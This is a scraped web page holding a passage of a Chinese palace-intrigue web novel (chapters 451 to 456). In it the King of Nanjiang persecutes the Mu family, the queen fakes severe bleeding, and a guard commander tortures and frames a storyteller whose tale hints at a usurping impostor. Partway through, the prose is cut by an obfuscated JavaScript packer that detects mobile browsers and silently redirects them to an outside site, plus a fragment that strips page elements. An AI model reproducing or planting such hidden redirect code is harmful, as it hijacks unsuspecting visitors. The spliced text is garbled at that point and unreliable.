他的话没能说完,又被南疆王打断了。 “朕要是没记错,你高中状元的那一年,你的考卷是慕丞相亲手点评的。”南疆王眯着眼睛,“你入朝为官之后,慕相也对你多有照拂,所以你现在才如此迫不及待地来为恩师脱罪。” 舒大人的脸猛地涨红,说话也结巴起来,“王上怎能如此揣测?微臣绝无私心!” “那你急着给慕家脱什么罪!” 南疆王声色俱厉,“慕家的罪名铁证如山,不容任何辩驳!” “王上!”宋将军跟着大喊,“双方往来书信皆存放在一人手中,这是什么铁证!游将军以死证明清白,就是希望换来一个彻查的可能!求您开恩!” 听到他的话,殿外的官员们更不淡定了。 游将军**? “请王上彻查此案!” 以周大人带头,一众官员们在御书房外的空地上接二连三地跪了下去,又齐齐呼喊着。 南疆王胸膛起伏,恶狠狠地盯着外面跪成一片的官员们,目光让一旁的宋将军心惊不已。 这哪里是看臣子? 分明是看仇人的眼神啊! “朕看你们就是故意阻挠办案!都是慕家养的狗!”南疆王气得声音都在哆嗦,“来人!把这些人都给朕抓起来——” “王上,王后来了!” 第四百五十一章 王上究竟要做什么? 伴随着又一声临时汇报般的通传,王后坐在软轿上,被几个嬷嬷抬着走进院中。 她换上了一身素衣,头上还缠着纱布,血色尚在,衬得脸色越发惨白。 不用说,慕丞相的死讯已经传到了这位耳中。 一众官员们扭头看去,紧接着又听见殿中传来摔摔打打的声音,再看回来,南疆王已经转身走回屋中去,摆明了是不想看到王后。 这就更乱了! “王上!” 王后权当自己没看见眼前的混乱场景,径直让嬷嬷们抬着她往御书房中去,一边道,“请王上彻查臣妾父亲的案子,抓到凶手,给父亲报仇!” “没有朕的命令,谁让王后离开宫殿的?” 南疆王的声音从御书房里传来,一听就是正在气头上,“送王后回宫!负责把守玉琼殿的人,全部都去给朕领罚!” 大人们听着南疆王的话,纷纷忍不住皱眉。 一来,慕丞相是朝廷重臣,又是王后的亲生父亲,突然被凶徒袭击身亡,怎么想都是大事,王后因此有失分寸也是人之常情,可王上却表现得如此不近人情,实在是太过冷硬。 二来,不少官员们都在注意着王后身上的伤呢。 谁敢把堂堂后宫之主伤成这个样子? 联系一下王上的态度,大人们不敢置信,也不得不信了。 慕家到底犯了王上的什么忌讳,把他惹成这样,连一点点面子都不愿意做? 官员们默不作声地交换着眼神,这个时候,王后的软轿已经抬到了廊下。 御书房门前站着六个大内侍卫,见状只能硬着头皮拦在软轿前。 “娘娘,王上的话您听到了,”侍卫长小心翼翼地望着软轿上的人,“您还是请回吧……” 说着话,侍卫长才反应过来,王后娘娘今天居然没有带面纱! 他慌忙垂下脑袋,又一挥手,“小的们这就送娘娘回宫!” “滚开!” 王后居高临下地一摆手,狠狠在这侍卫长身上推了一把,嬷嬷们也跟着动作,要硬闯御书房! “放肆!放肆!” 南疆王就站在屋中,背着双手看向门前发生的一切,瞪大了双眼,又惊又怒! “王后可还知道这是什么地方?岂容你这般擅闯!你仗的是谁的势!给朕滚出去!” 见嬷嬷们和大内侍卫还在推推搡搡,扭成一团,南疆王怒从心头起,上前抬着软轿的边缘一掀! “啊——” 一股大力袭来,王后坐在软轿上的身子也跟着不受控制地向后倾倒,她惊叫一声,伸手想抓住些什么,却扑了个空。 嬷嬷们也被南疆王这突如其来的动作惊到,慌忙转身去扶却晚了,眼睁睁地看着王后从软轿上跌了下来,再次从石阶上滚了下去! “娘娘!” 不仅是嬷嬷们,院中正跪地**的官员们也忍不住喊出了声。 “娘娘流血了!”最先冲到王后身边的嬷嬷又大喊一声,举起自己沾满血迹的手掌,“快去请御医!” 她求救的目光慌乱地在四周逡巡,可大内侍卫和小太监们都垂下了脑袋。 原因无他,殿中一片安静,南疆王没有发话! “王上!”嬷嬷们纷纷跪倒在地,“娘娘受伤了,请王上开恩啊!” 一众官员们也伸长了脖子朝里面看去。 御书房中,宋将军看着南疆王堪称冷酷的背影,心里翻涌着惊涛骇浪。 难道王上打算把王后拖死? 当着满朝文武的面儿? 王上究竟要做什么? 就在这时,人影一闪,宋将军猛地回神,便看到那位柳大夫大步流星地往殿外走去。 叶晚竹拨开挡在门前的大内侍卫,径直走到王后身边。 王后这会儿正趴在地上,小口小口地喘息着,看上去正在忍受着剧烈的疼痛。 嬷嬷们围在她身边哭喊帮忙,场面无比混乱。 叶晚竹凑上前去,正要开口,便看见王后朝着她飞快地眨了眨眼。 王后没事? 微微放下心来,叶晚竹蹲下身子,装模作样地替王后检查。 这位身上绑了好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339739|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个放满鸡血的袋子,一一挤破之后,出血量大得让人头晕目眩。 叶晚竹伸手沾了沾血便又大声道,“王后大出血了,我没有止血的药粉!” 在嬷嬷们的遮挡之下,院中的官员只能看到王后一动不动的衣角和地上飞快蔓延开的血迹,这会儿再听着叶晚竹惊慌的声音,忍不住又转头朝着御书房中求饶。 别说慕家一案还没查明,王后就这么莫名其妙地重伤死去的话,这叫什么事? 等等! 先是慕相,再是王后…… 不少大人们都打起了哆嗦,望着御书房的眼神也变得更不一样了。 难道是王上…… 官员们不敢再想,只能继续磕头呐喊。 不知道过去多久,王后身上的鸡血全都用完了,官员们的嗓子也哑得不像话,南疆王冷冰冰的声音才终于从屋中传了出来。 “传御医。” 他话音落下,一个嬷嬷立刻飞也似地朝着御医署的方向狂奔而去! 官员们也跟着松了口气。 “这是看在柳大夫的面子上!” 南疆王的话却还没说完,他不紧不慢地迈着步子现了身,背着双手站在御书房门前,朝着下方王后的位置投来一抹厌憎的眼神。 “慕家的案子的确还没调查清楚,可王后这般无诏擅闯御书房,又是什么行为?朕今日若是不严惩,日后但凡调查王都的名门望族,这后宫里的嫔妃就都来强行面圣不成?岂有此理!” 院中求情的官员们垂着脑袋不说话了。 王上此举让他们说不出错,可这实在,实在是…… 太无情了! 公事公办也不是这么用的吧? “呵。” 一声冷笑在安静的殿内外回荡,王后不知道什么时候睁开了双眼,正躺在地上,一瞬不眨地死死盯着南疆王。 “王上对我慕家实行如此雷霆手段,恨不得将慕家全族立刻诛杀殆尽,又给臣妾扣上一顶又一顶的帽子,究竟是真的相信慕家会策划谋反,对王上不利,还是……为了给这个女人铺路?” 第四百五十二章 宫宴,正常举行 王后伤重不能移动,眼睛还得直勾勾地望着南疆王,但却丝毫不影响她口中的女人身份立刻被院中的所有人理解。 毕竟除了王后本人和嬷嬷们,御书房中的女人,只有那么一位! 众多眼神齐齐朝着叶晚竹投了过来。 “柳大夫,”王后冷峭的声音也又跟着响起,“你有什么话想说?” 叶晚竹眨了眨眼,立刻就明白了王后现身的用意。 她二话不说,扑通一声朝着南疆王的方向跪了下去。 “王上,民女无意入宫,更无意引起这种种争端,还请王上高抬贵手,放民女出宫,与师兄师姐团聚!” 世道对女子格外多艰,南疆王方才故意点出柳大夫,摆明了要将矛头引到叶晚竹的身上。 如此一来,他便能复刻灵美人得宠时的情况,再借刀杀人,干掉王后和慕家。 可眼下,王后先递了这个话头,是南疆王强求,还是“柳大夫”居心叵测,那就一目了然了。 知道王后的意思,叶晚竹演得更加凄惨,“民女家中已有婚约,夫君还等着民女回去团聚,请王上看在民女替您解毒的份儿上,收回成命吧!” 她话音落下,院中的官员们又面色各异起来。 王上喜好美人的确是真的,可也不能强抢民女吧! 况且人家还有婚约在身! 这也太不合适了! 一桩桩一件件怪事接连发生,大人们的心也跟着越发不淡定起来。 王上这到底是怎么了,为什么再次现身之后,性情如此大变,简直像是换了个人一样? 换了个人…… 身在南疆,大人们也见识不少,这会儿看着南疆王的眼神都控制不住地透着古怪。 南疆王利目扫过,官员们又纷纷低头不语,只是院中的气氛变得更加古怪。 “原来如此!” 王后强撑着直起身来,声音还是虚弱,“王上,慕家,父亲和臣妾,究竟什么地方对不起您,以至于您要如此斩尽杀绝?” “你给朕住口!” 南疆王的表情难看到无以复加,他紧紧皱着眉头。 “证据确凿,不容狡辩!王后你久居深宫,宫外之事,就莫要随意插手了!” “来人!”他又喊了起来,“送王后回宫——” “王上今日若是不下旨彻查,臣妾便跪死在这里!” 拼着全身的力气嘶吼一声,王后翻身而起,跪在地上也依旧直勾勾地望着南疆王。 “父亲不可能做出这样的事情,慕家更不会!” 一字一句地说着,王后眼眶微红,神态也越发伤心。 “王上若是想要臣妾头上的这个名号,拿去便是!臣妾自请让贤,只求保我慕家满门性命!” 南疆王张了张口,首次沉默了下来。 怎么又绕回后宫之事上去了? 王后究竟想干什么? 南疆王忍不住有些焦躁,安排好的事情,怎么一件都没办成? “请王上开恩,放民女出宫吧!”叶晚竹趁机火上添油,又跟着求了起来。 经此一遭,无论南疆王怎么选,他刻意针对慕家的说法便是彻底洗不脱了。 如此一来,日后慕家被逼到绝境起事,这才说得通! 垂着眼皮给自己求饶,叶晚竹的眼底闪过了一丝笑意。 算计来算计去,天问这秃驴还是把南疆王算得更加声名狼藉了。 上方,南疆王看着这混乱的场面,眉头紧皱,表情黑沉。 “好,好好好!” 咬牙切齿地开了口,南疆王气得声音都在哆嗦。 “要彻查是吧?要死个明白是吧?” “御林军呢?”他猛地转头,形容狂怒,“现在就去查!把慕家给朕查得清清楚楚,不许放过任何一个可疑之处!” “末将遵旨……” 看着这样的王上,御林将军的双腿都在哆嗦。 他匆匆领了一队人马离开,路过院中各位大人的时候,又收获了一众异样的眼神。 官员们看着这位眼生而一脸稚嫩的年轻将军,再看看御书房内外的一水儿新人,自己的腿好像也跟着哆嗦了起来。 王上让自己身边的人去查慕家,能查出什么来? “王上……” 宋将军膝行到御书房门前,“末将愿戴罪——” “闭嘴!给朕闭嘴!” 还没等他说完,南疆王忽然极其失控地狂吼一声! “你们还要怎么样?御林军的结果出来之前,谁再敢多话一句,朕立刻砍了你们的脑袋!” 殿里殿外顿时陷入了一片死一样的寂静,官员们猛地低下脑袋,什么话都不敢再说。 王上这是铁了心,一定要把慕家除掉,连一点儿遮掩都不愿意做了啊! 说到底,他们只是臣子,王上执意要作孽,他们拦不住,还能怎么办? “全都滚!没有传召,任何人不许进宫!” 南疆王喘着粗气,语气十分不善。 “宋鹏玩忽职守,放跑凶徒,押入天牢等待处理!” “王后擅闯御书房,罚闭门思过,没有朕的亲笔旨意,玉琼殿的大门不许再开!” 他一连下了几道命令,官员们听得心里一阵比一阵发凉! 他们折腾了这么半天,王上还是要把针对慕家进行到底! “臣妾谨遵圣言。” 王后发出一声讥笑,在嬷嬷的搀扶下上了软轿,带着一身的血离开,没再多看南疆王一眼。 见状,官员们也只能不出声地叹息着,接二连三地站起身来,告罪离开。 也不知道王上这是怎么了,糊涂成这样,日后,南疆的天,怕是要变了! 官员们忧心忡忡地朝外走,却又在这时听到了一句,“慢着!” 难道是王上回心转意,忽然想通了? 一众大人齐齐停下脚步,满怀希望地转头朝南疆王看去。 南疆王依旧站在廊下,双手背在身后,抬眼看着上方微微暗下来的天空。 折腾了整整一天,现下夜色将现,隐隐约约有点点星光先露了出来。 一阵微风吹来,带着阵阵凉意。 不知道为什么,大人们忽然打了个哆嗦。 南疆王盯着星光看了半晌,这时缓缓开口。 “凶徒已除,城中再无祸端,三日之后的宫宴,正常举行!” 第四百五十三章 他不想做什么,本王偏要做! 站在前面的官员们听了这话,好悬没有脚下一滑,当众摔倒在地! 城里城外都这样了,宫宴还要正常举行呢? “周大人,你现在能负责了吗?”南疆王又在人群中准确地找到了周大人的所在,沉着一双眸子看了过去。 触到王上眼中的凶戾之气,周大人想再推却都张不开嘴,不仅如此,冷汗还成串地往外冒! 王上现在这幅模样,让周大人十分怀疑,只要自己敢摇头,走出这道门就会被王上派人把脑袋给拧下来! “……微臣,微臣遵旨!” 哆哆嗦嗦着,周大人只好硬着头皮答应了下来。 见他终于知趣,南疆王面上的戾气这才有所收敛,又看向院中。 “今日入宫的所有人,三日之后的宫宴上,朕要看到你们在场。” 这话听着就更像是威胁了! 官员们也跟着周大人哆嗦起来,却也同样只能低声应是。 “滚吧!”南疆王的心情又变得好了一些,摆摆手,大发慈悲地让院中的人离开。 众人还没走远,便听到王上换了个截然不同的声调。 “柳大夫莫要在地上跪着了,更深露重,小心受了寒。” “王上,民女——” “你们几个,都瞎了吗?还不快扶柳大夫回玉兰殿去休息?”南疆王朝着宫人说话的时候,语气又变得严厉起来。 听上去,王上这是打算把强买强卖也进行到底啊! 互相交换着眼色,官员们加快脚步,忙不迭地快步离开御书房,又沉默不语地走出宫门外,这才纷纷抬起头,看着渐渐变得更加深浓的夜色。 他们不知道王上此举究竟是受了什么刺激,但很明显,有些事情,恐怕要开始为自己考虑一下了! —— “主子,城里的情况就是这样。” 夜色中,深山里,安王一身骑装坐在马上,看着同样策马而来,停在自己面前禀报的手下,表情晦暗不明。 白日里那伙冲关的凶徒正是他们,可这会儿,追兵早就退去,一行人也恢复了安全,可安王的脸上却连一点儿喜悦的模样都看不出来。 围在他身边的一行都是影卫,全都垂着脑袋,连大气都不敢喘。 他们并不是从王都成功逃跑的,准确地说,他们根本就没有逃跑,而是被人撵出城的! 吴大人被发现之后,安王的计划便也跟着暴露,连带着刑部尚书府里的炸药也被提前引爆,整个计划溃散得七零八落。 好在狡兔三窟,安王在城中不止一处落脚点,就算城防营日夜在王都搜查,也很难找到他们的行踪。 可他们偏偏就被一群黑衣人发现了! 对方不仅突然出现,功夫还十分高超,惊动了城中几支巡逻的卫兵,逼得他们只能逃跑。 可就连逃跑的速度都比不上身后的追兵,对方只追不打,安王一行几乎是被他们像疯狗一样追出了城门! 王都正在戒严,他们出城的行动可想而知惊动了城门前的守兵,被后者追着一路到了深山之中才肯罢休,等安王想再回头去找那些黑衣人,对方早就无影无踪了! “定是谢无咎的手下!” 现在护在安王身边的影卫叫影森,他用力一握缰绳,“属下认识他们的招数!肯定没错!” 余下的影卫们也纷纷点头。 安王垂着眼皮,将今日王都里发生的事情前前后后地思索了一番,却低声笑了笑。 “谢无咎要撵本王出城做什么?留他们单独对付天问大师,不吃力吗?” 南疆王恢复清醒的消息一传来,安王便知道事情不好了。 没有天问那秃驴帮忙,南疆王恐怕早已经死了无数回,这次也不例外! “天问没死,这件事,是他干的。”又道出一句,安王的眉头皱得更紧了。 影森的表情也跟着疑惑起来,“主子,这又是为何?” 若说谢无咎不想把他们驱赶出城,以至于单独面对天问大师,相应地,天问大师应该也是这样的想法才对吧。 他们三方互相制衡,也算很有一段时间了,少了哪一方都会打破这个局面。 安王缓缓地摇了摇头。 “王都说是天问的大本营也不为过,他这一番动作花里胡哨,瞧着令人眼花缭乱,说不定就是为了隐藏背后那个真正的目的。” “不过,有一点倒是能肯定,此贼让手下假扮谢无咎的人,故意对本王发起袭击,想来正是为了让本王和谢无咎互相攻击,好给他腾出喘息的机会。” 说着话,安王低头看着自己的手,一路急于逃命,他的掌心被缰绳摩擦得通红一片。 “这秃子越不想让本王做什么,那本王就偏要做什么才是,否则的话,岂不是让他如愿!” 他冷笑一声,“他想败坏慕家的名声,好顺势夺权是吧?” “从明日开始,你们便想办法往城中散播流言,让城里的百姓们都知道,南疆王当年是如何靠王后巩固自己的地位,后来又是如何对慕家这样的三朝忠臣赶尽杀绝的!” 想堂堂正正,清清白白地掌控南疆? 做梦! 潜回王都对影卫们来说不算太难,影森连忙应下,又道,“主子,那咱们接下来去什么地方?” 谁知道天问大师之后还有没有什么招数,要把他们赶尽杀绝? 安王又笑了笑。 “回南郡去。” 这去处来得太猝不及防,一干影卫都愣住了。 “主子,”一人急道,“那王都,王都……” 王都不要了? “急什么?” 安王啧了一声,远远眺望着王都灯火通明的模样,语气凉凉的。 “无论如何,有谢无咎一行在,天问大师的目的就别想顺利达成。” “且让他们先斗上一斗,等到了合适的时机,本王再来给他们添一把火好了。” “邵威一行人不是已经抵达南郡,和云家人会面了吗?本王正好需要他们做些事情。” 他又吩咐了影森几句,留下一半的人手回王都散播流言,自己带着另一半人手消失在夜色之中。 接下来的几日,本该凄凉萧索的王都忽然热闹了起来—— 第四百五十四章 说书先生 刚刚经过凶徒袭击,宫中似乎又出了事,街上不停地有卫兵跑来跑去,这场景本该让王都中的百姓惶惶不安。 百姓们原本也是如此,又一次闭门不出,减少风险。 可没想到,随着凶徒的离开,城门开放的第一天,一个外来的说书先生便让王都彻底热闹了起来。 这位的故事讲得精彩流利,模仿起故事中的人物更是惟妙惟肖,不过,最关键的,还是他的故事里似乎能透露出点什么东西。 这说书先生讲的是一个发生在海上仙国的故事,那里的人住在一个巨大的岛上,由聪明稳重的国王带领,一直过着安宁和平的日子。 直到一天,仙国的存在被一艘路过的船发现,船上的人自称迷了路,找不到回家的方向,已经在海上漂泊了很长时间,马上就要饿死了。 仙国里的人都十分乐善好施,连忙将这个渔民救下,给他饭吃,作为回报,渔民将自己船上的不少东西也拿出来和大家分享。 大伙儿生来就在岛上,从来没想过外面还有其他地方,也没见过渔民手里的东西,一时间新奇得很,竞相打探,消息很快便传到了国王耳中。 国王接见了渔民,果然也被他手里的东西吸引,用仙国里的宝物跟渔民互换,又为他准备了盛大的宴会。 渔民在仙国里生活得很开心,他的船也在靠岸的时候坏了,修不好,渔民便提出要加入这个海上仙国,在这里继续生活下去。 国王同意了,并且将自己身边的一个职位给了渔民,让他多给自己讲讲仙国以外的地方还有什么东西。 渔民很珍惜自己的这个任务,讲得非常卖力,国王也跟着打开了新世界的大门,听得废寝忘食。 仙国以外的世界的确精彩,国王三天五天地沉迷其中,仙国上下都没人觉得有什么问题。 可随着时间来到一个月,两个月之后,国王听故事的劲头不仅没有消退,反而还愈演愈烈,国王身边的近侍们开始感到不对劲了。 他们的国王不吃饭,不睡觉,也不处理仙国里的各项公务了,每天都将房门一关,和已经成为了国师的渔民呆在里面,再也不见踪影。 偌大的国家需要国王的管理才能正常运作,近侍们敲了几天门,国王都对他们不理不睬,无奈之下,只好把房门撞开,想“请”国王重新出来。 可门开之后,里面的场景却震惊众人—— 说书先生一天只讲半个时辰,昨天的故事在这里戛然而止,大半个王都的百姓都为此抓耳挠腮了一晚上,天一亮就又跑到茶楼里来等着了。 周大人也混在其中,不过和身边兴致盎然,交头接耳的百姓们不太一样,他的眉头微微皱着,显得心事重重的。 一个说书先生本不该引起他的注意,可这说书先生故事中的内容,十之五六都能和王宫中发生过的事情对上,那就不能不让周大人在意了。 这是什么人,又要干什么? 王都近日来已经是尘嚣至上,王上好像突然得了失心疯一样地对付慕家,慕相身死,王后重伤被软禁,余下和慕家有关的人也纷纷遭到波及,人人自危。 在这个节骨眼上冒出来的说书先生,讲的又是这样的内容,肯定不是巧合。 周大人是隐藏了身份来的,还没订到包间,只能挤在一层的人头攒动之中,伸长了脖子往台上看。 因着说书先生的节目太过火爆,茶楼特意赶工给这位造了一座木台,还在周围拉了绳索,圈出一块不大不小的空地。 这会儿功夫,那说书先生迎着阵阵欢呼声走上台,正朝着围在四周的观众们拱手行礼。 “感谢各位父老乡亲们的捧场,闲话不多讲,咱们这就开始!” 此人年逾不惑,嘴皮子却十分利索,也不耽搁时间,痛痛快快地将惊堂木一拍,便捡起昨天留下的话头,引了几句前言继续讲了下去。 周大人不由得也专注了几分。 他昨天才听到这书中的内容,只来得及找人复述,今天这是第一次出现在现场。 凭心而论,这位的故事的确讲得好,绘声绘色的。 “……国王的近侍们冒着大不韪将房门撞开,然后就被屋中的情形镇住,爆发出了一阵惊恐的尖叫!” “只见那屋中烟雾飘摇,阴风阵阵,哪里有人正在讲什么故事?” “倒是有一个人影倒在地上,浑身抽搐,还不停地挣扎着想要逃跑!” “这人是谁?” “近侍们鼓起勇气上前,想仔细查看发生了什么,可就在这时,房门砰——地一声!被从外面关上了,怎么都打不开!” “那天之后,到屋中去寻找国王的近侍们,再也没有出现过;那扇房门倒是晚些时候再度打开,从里面走出来的人,依旧是国王和国师。” “时隔多日,国王终于再次出现在他的子民面前,但还不等仙国的人们激动,国王便宣布了一个消息——他要把仙国的一部分送给国师,作为他讲故事的奖励,同时还要让人帮国师把船修好,一起到国师的家园去看看。” “仙国的人十分不解,一个大臣想反对,国王却瞪着眼让他闭嘴,不仅如此,还把修船的任务交给了他。” “正在这个时候,一个全身是血的人不知道从什么地方冲了出来,在人群里拼命大喊!” “‘国王是假的!国王被国师害了!国师要害死仙国的所有人!’——” 说书先生扯着嗓子,喊声惊慌无比,观众们也纷纷跟着倒吸冷气,还有人控制不住地小声尖叫。 周大人站在人群里,只觉头晕眼花,浑身冷汗! 这,这真的只是一个海上仙国的故事吗? 他怎么觉得从国王到国师,都这么耳熟呢? 还有那修船的倒霉大臣,是他吧?应该就是他本人吧? 这是哪个胆大包天的,敢写这种故事影射南疆王—— “就是这儿!” “封死出入口,所有人都不许动!” 第四百五十五章 奉旨查案! 茶楼里的气氛正被烘托到最高潮,外面的街上忽然传来了一阵阵急促的脚步声和命令声。 众人还没回过神来便被团团包围,惊慌顿时变得真情实感起来! “你们是什么人?” 守在门前的小二哆嗦着上前去,还要再说些什么,被领头走进茶楼的那个一身软甲的将军一脚踹飞,重重地摔在地上! 他发出一声惨叫,后者拔出腰间的佩剑,语气冰冷。 “奉旨查案,闲杂人等全部退后!” 这一行人气势汹汹,又都带着兵器,茶楼里的百姓们闻言又忙着后退,生怕自己也被波及。 茶楼的老板这时候踉踉跄跄地从人群之后挤出来,扶正被挤歪的帽子,一脸的惊慌失措。 “几位,小的,小的这可是正经营生啊!都在官府留过底的!” 天子脚下,他这茶楼也开了十几年了,怎么可能有问题? 方才说话的人一脸不耐,“没说你!不过你也逃不掉!” 茶楼老板:?? 是他被这阵仗吓傻了? 他怎么听不懂这两句话的关系? “还有你们!”这位又转头看向茶楼四面,“一个都不许走,全部要接受问话!” “把守各个出口,敢私自逃跑,以叛党论处!” 叛党? 被堵在茶楼里的百姓们闻言一个个地都瞪大了双眼。 他们来听个书,怎么就变成叛党了? 可看着茶楼里外戒备森严的模样,谁也不敢开口说话。 那个小二还躺在地上呢,随便出头,不是找死吗! 周大人这时候终于挤到了一个能站住脚的地方,他顾不上擦擦满头的大汗,先朝着中央的空地上看了过去。 这位领兵包围茶楼的将领,他眼熟得很,是如今的大内统领,姓于。 于家在王都也算实力雄厚,但名声却不太好,家中过分宠溺小辈,养出了一批纨绔子弟,不大不小的事情闹出了不少。 眼前这位于统领便是其中之一,后来被于家痛定思痛地花银子塞进了御前,在王上眼皮子下面,总算能安生一些。 南疆王从前也知道于家做出的荒唐事情,权当他只是个普通侍卫,可就是从查抄慕家开始,先前的大内统领与慕家有些边角关系,被波及丢了官职,王上就莫名其妙地把于大少推上了这个位置。 周大人还记得那天在御书房中,于大少被南疆王的怒气震慑,是怎么一副畏畏缩缩的窝囊模样。 如今一晃三天过去,这位倒是又嚣张了起来,隐隐瞧着还有几分从前横行霸道的味道。 看样子是深得王上的重用。 周大人的眉头又皱得更紧了。 从南疆王醒来之后,他的举动,周大人就再也没有看懂过,满朝文武也是如此。 王上到底想干什么? 看着于大少大步流星地朝着那个说书先生走去,后者被他吓得已经坐倒在地,周大人忽然想起什么,脑子嗡地一声! 这人的故事绝对是在影射南疆王,那其中的讲述,有多少会是真的? 故事里的国王是假的,被国师所害,这是不是在说现在的王上? 周大人额头上又明晃晃地落下一滴冷汗! 王上身边,曾经也是有国师的! 不只是国师,还有大师—— “啊!” 思绪被凄厉的惨叫打断,周大人猛地一哆嗦,又听到周围人纷纷倒吸着冷气。 他凝神看去,瞳孔也赫然震颤! 于大少手中的长剑此时沾满了鲜血,地上躺着一条小臂,而那个说书先生正抱着胳膊,疼得满地打滚。 这位上来什么话都没说,就硬生生地砍掉了说书先生的半条胳膊? 周大人的眼皮用力地颤了颤。 “草民,草民只是养家糊口,犯了什么罪?” 那说书先生哀嚎了几声,便忍不住瞪着眼前的于大少问道。 他话音未落,断臂的伤口处便又挨了一脚,说书先生脸上的血色顿时退了个干干净净! “狗娘养的贱民,你说的是什么书,你自己心里不清楚吗?” 于大少穿上大内侍卫的衣裳,也挡不住纨绔的嘴脸,朝着说书先生啐了一口,脸上写满嫌恶。 “敢影射王上,小爷看你是活得不耐烦了!” 王上两个字一出来,茶楼里更是安静得吓人。 周大人的眼皮子也又跳了跳。 这个于大少,当着这么多人的面儿把话挑明了说,岂不是更要让人浮想联翩了吗? 如此不稳重的人,竟然能得到王上的重用! 肯定有问题! 周大人并没有发现,自己的思绪已经在不知不觉间,和那海上仙国的故事揉到一起去了。 另一边,说书先生也反应过来,惊慌失措地摇头,“我,我没有啊!” 于大少又踹了一脚上去,“没有?你再给小爷狡辩一句,我拔了你的舌头!” 说书先生立刻紧紧地闭住了自己的嘴,眼神惊恐地朝着四周看来看去。 “哼,承认了吧?” 于大少冷笑一声,举着剑朝身后的大内侍卫们招呼,“带走!” 四五个侍卫快步上前,却都在于大少身边站住了。 “干什么?”于大少不解,“你们也要造反?” 侍卫们各个表情古怪,纷纷朝着于大少挤眉弄眼,又不住地用目光示意着地上的说书先生。 足足过去半晌,于大少才一拍脑门! “都是你这个刁民!气得本小爷脑子都糊涂了!”他又持剑在说书先生腿上狠狠扎了两下,“你的书呢?之后还有什么内容?都给我交出来!” 说书先生好端端地又挨了两下,疼得咬紧了牙关,说话时带着颤意。 “没,没有了……后面的内容还没,还没写呢!” 这故事讲得红火,不能随便结束,况且还得吸引更多观众来看呢! 于大少又哼了一声。 “你放屁!肯定是有人图谋不轨,派你来搅……搅乱城中民心的!说,你的幕后主使是谁!” “草民真的没说假话——啊!” 没得到自己想要的回答,于大少又开始对着这说书先生拳打脚踢。 惨叫声此起彼伏中,周大人的眼皮也抖得不像是自己的了。 这于大少,连交代的台词都说不明白,就敢跑来演戏! 王上也真敢用他! “统领!找着了!”这时候,一个侍卫小跑着从后院的方向冲了进来。 第四百五十六章 我看你就是幕后主使! 众人不约而同地朝着他的方向看去,又把目光聚焦在这个侍卫手里拿着的册子上。 “你们!”说书先生见状有些急了,“你们怎么能随便翻我的东西——” 他急得刚坐起身,就被于大少一脚又踹回原处,后者连眼神都没给他一个,伸手就把那本册子拿了过来。 “小爷就说有后续吧?” 哗啦哗啦地将册子翻到中段,于大少眯着眼睛看了片刻,毫无征兆地突然暴起,将册子重重地砸到了说书先生的脸上! “贱民!你真敢污蔑王上!” 册子很厚,书脊砰地一声砸在说书先生鼻梁上又弹开,说书先生再次发出一声痛呼,想捂住鼻子,却发现手不够用。 “来!大伙儿都看看啊,别说小爷我才是污蔑!” 于大少又弯腰把那本册子捡了起来,翻开让人拿着到屋中众人面前去展示。 “看见了没有?这厮堂而皇之地把王上写在上面!简直是其心可诛!” 王都的老百姓们大部分都能识字,那册子里满纸写着南疆王,的确是白纸黑字,无从辩驳。 那也就是说,他们这几天听到的海上仙国的故事,其实就发生在自己身边? 仙国的国王是他们的王上,那那个成了国师,一看就不是什么好东西的渔民,又是什么人? 最初的震惊过后,众人忍不住地交头接耳,议论纷纷起来。 周大人站在人群里险些要被气晕过去! 知道这说书先生不对,随便找个由头把人抓起来,再悄悄处理不就行了! 现在闹出这么大的阵仗,不光整个王都要跟着一起猜那国师是何许人也,大伙儿也都要觉得王上做了更多荒唐事了! 于大少这个蠢货! 周大人有心想出面挽救一下,张了张口,却又什么话都说不出来。 事已至此,他说什么能好用? “不,不对……不对啊!” 听着于大少的话,再看着大内侍卫们展览那册子的动作,说书先生忍着全身各处的疼痛,挣扎着又坐了起来。 “不是这样的!这不是我的册子,我,我从来没写过王上的名讳啊!” 那不是吃饱了撑得,给自己找不自在吗? 于大少反手又给了他一个响亮的大耳光! “你刚才可是亲口承认的,怎么,想当众反悔?以为大伙儿都是傻子吗?” 一挥胳膊,于大少的态度愈发嚣张。 “赶紧,把你的一切阴谋诡计,都给我交代出来!” 说书先生晕头转向地倒在地上,顾不上爬起来就继续大喊着,“草民没有阴谋诡计,更不敢影射王上!这是草民梦中得来,觉得十分刺激才编成了故事传讲,跟这位军爷所说没有任何关系啊!” “草民的包袱里的确是有本册子,可里面的不是后续故事,而是大伙儿私下的打赏,草民将每笔记下,以防万一,这事情不好明说,才,才藏着掖着的……” “草民压根就不知道这册子里写的是什么,也不知道你们是什么时候跑到后院去搜东西的,这根本就不是我的,是你们故意诬陷于我才对!” 于大少这会儿已经怒不可遏,拔剑又在说书先生身上刺了两下! “我呸!你这个下三滥东西,敢往小爷身上泼脏水?” 说书先生又疼又怕,还带着被冤枉的悲愤,躺在地上大声呼喊着冤枉。 这无疑更是激怒了于大少,这位本就是一身的少爷脾气,对着说书先生又打又骂,场面顿时变得鸡飞狗跳起来。 被拦在茶楼的百姓们弄不清楚事情的真相是什么,可这说书先生被一剑一剑扎得浑身是血的模样,却明明白白地展现在所有人眼前! 有于大少等人在,大伙儿不敢出声,可眼神中却满是欲言又止的恐惧。 周大人将这一切看在眼里,手脚冰凉,甚至连周遭微妙的氛围都感受不到了。 那说书先生被打成这样,浑身都是血窟窿了还没反口认罪,一个普通小民为什么要这么执着? 只能说明他现在说的就是实话! 那那本册子…… 周大人的目光顺着册子看去,它依然被一个大内侍卫抓在手中。 这个东西从开始出现,就在于大少这些人的手里! 这是一出彻头彻尾的自导自演! 说是南疆王听到了城中的这些流言也好,还是于大少等人传话也罢,总之,他们这一趟就是要把说书先生身上的罪名落实了的。 没有证据不重要,自备一个便是! 反正这说书先生的故事已经传遍了整个王都,欲加之罪,何患无辞! 周大人站在挤成一团的人群之中,控制不住地哆嗦起来。 这就是王上日后的行事风格了吗? 